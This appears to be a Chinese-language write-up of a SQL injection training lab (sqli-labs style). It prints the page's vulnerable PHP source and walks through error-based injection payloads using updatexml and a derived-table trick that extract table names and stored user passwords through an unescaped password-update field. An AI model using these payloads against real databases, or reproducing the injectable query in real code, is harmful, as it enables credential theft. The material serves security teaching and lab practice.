首先尝试了1’ 1” 1’) 1”) 各种方式的注入都没发生报错 都没有回显报错
1’ or 1=1# 1’) or 1=1# 1”) or 1=1# 1” or 1=1# 万能密码尝试登录进去也都没有登录进去
而且返回了一个BUG OFF YOU SILLY DUMB HACKER
emmm….应该是有一个绕过 才会返回这个 看了一下源码

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. function check_input($value)
  6. {
  7. if(!empty($value))
  8. {
  9. // truncation (see comments)
  10. $value = substr($value,0,15); //从第0位开始截取value的15位值并重新赋值给value
  11. }
  12. // Stripslashes if magic quotes enabled
  13. if (get_magic_quotes_gpc()) //get_magic_quotes_gpc() 获取 magic_quotes_gpc 的配置选项设置
  14. {
  15. $value = stripslashes($value);//去除addslashes()函数添加的反斜号
  16. }
  17. // Quote if not a number
  18. if (!ctype_digit($value)) #检测数字,负数和小数也不行
  19. {
  20. $value = "'" . mysql_real_escape_string($value) . "'";#如果value的值不是数字就加引号
  21. }
  22. else
  23. {
  24. $value = intval($value);#intval() 函数用于获取变量的整数值。
  25. }
  26. return $value;
  27. }
  28. // take the variables
  29. if(isset($_POST['uname']) && isset($_POST['passwd']))
  30. {
  31. //making sure uname is not injectable
  32. $uname=check_input($_POST['uname']);
  33. $passwd=$_POST['passwd'];
  34. //logging the connection parameters to a file for analysis.
  35. $fp=fopen('result.txt','a');
  36. fwrite($fp,'User Name:'.$uname."\n");
  37. fwrite($fp,'New Password:'.$passwd."\n");
  38. fclose($fp);
  39. // connectivity
  40. @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
  41. $result=mysql_query($sql);
  42. $row = mysql_fetch_array($result);
  43. //echo $row;
  44. if($row)
  45. {
  46. //echo '<font color= "#0000ff">';
  47. $row1 = $row['username'];
  48. //echo 'Your Login name:'. $row1;
  49. $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
  50. mysql_query($update);
  51. echo "<br>";
  52. if (mysql_error())
  53. {
  54. echo '<font color= "#FFFF00" font size = 3 >';
  55. print_r(mysql_error());
  56. echo "</br></br>";
  57. echo "</font>";
  58. }
  59. else
  60. {
  61. echo '<font color= "#FFFF00" font size = 3 >';
  62. //echo " You password has been successfully updated " ;
  63. echo "<br>";
  64. echo "</font>";
  65. }
  66. echo '<img src="../images/flag1.jpg" />';
  67. //echo 'Your Password:' .$row['password'];
  68. echo "</font>";
  69. }
  70. else
  71. {
  72. echo '<font size="4.5" color="#FFFF00">';
  73. //echo "Bug off you Silly Dumb hacker";
  74. echo "</br>";
  75. echo '<img src="../images/slap1.jpg" />';
  76. echo "</font>";
  77. }
  78. }
  79. ?>

在这里uname这个数据被check_input()这个函数进行了检查,简单描述一下这个函数的作用

  1. 第一个if:
  2. empty()判断如果不为空字符串,则截取该字符串0,15
  3. 第二个if:
  4. get_magic_quotes_gpc() 获取 magic_quotes_gpc 的配置选项设置,如果php开启了改配置选项则要
  5. stripslashes()去除字符串的' " \这些符号因为开启了该配置选项,会在前面添加了\转义,所以用
  6. stripslashes()去除添加的\
  7. 第三个if:
  8. ctype_digit($value)判断是否为数字,如果是数字则会返回true,加上前面的!,就是说如果不是数字
  9. 则会用mysql_real_escape_string()函数,如果不是数字则加引号
  10. 第四个else:
  11. 如果是数字则直接用intval() 函数获取变量的整数值

首先他会通过username来获取当前用户的信息 如果username不正确则会直接返回一个BUG OFF YOU SILLY DUMB HACKER
所以首先要保证用户名的正确
接着就可以用万能密码直接登录进去了
因为没有回显,但是有报错,所以可以通过报错注入来获取有用的信息

关键点

当你用的用户名正确的时候
password设置为
1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
可以轻松得到想要得到表名的数据 但是你在想得到字段里的数据的时候却会遇到些困难
情况如下

  1. 1' and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)#

页面返回K@$WC6`VM4V}RWLN_EC25XF.png
但是你在输入

  1. 1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails),0x7e),1)#

却可以得到相应的信息FJZG})CJ_TRH8VO{ND(TANF.png
这里就是重点了

  1. You can't specify target table 'users' for update in FROM clause
  2. 意思是:你不能先select出同一表中的某些值,再update这个表(在同一语句中).
  3. 你需要用到派生表来获取相应的数据
  4. 1' and updatexml(1,concat(0x7e,(select * from (select group_concat(password) from users) a),0x7e),1)#

派生表的教程大家自己学一下!
这里想直接获取password时候 等于执行了这个SFQ7I2]FJ%1]VE5TF6{6YIN.png执行派生表

  1. update users set password='1' and updatexml(1,concat(0x7e,select * from (select group_concat(password) from users) a,0x7e),1);

G2X@XL}3VZ{NN@JE~4KX1WW.png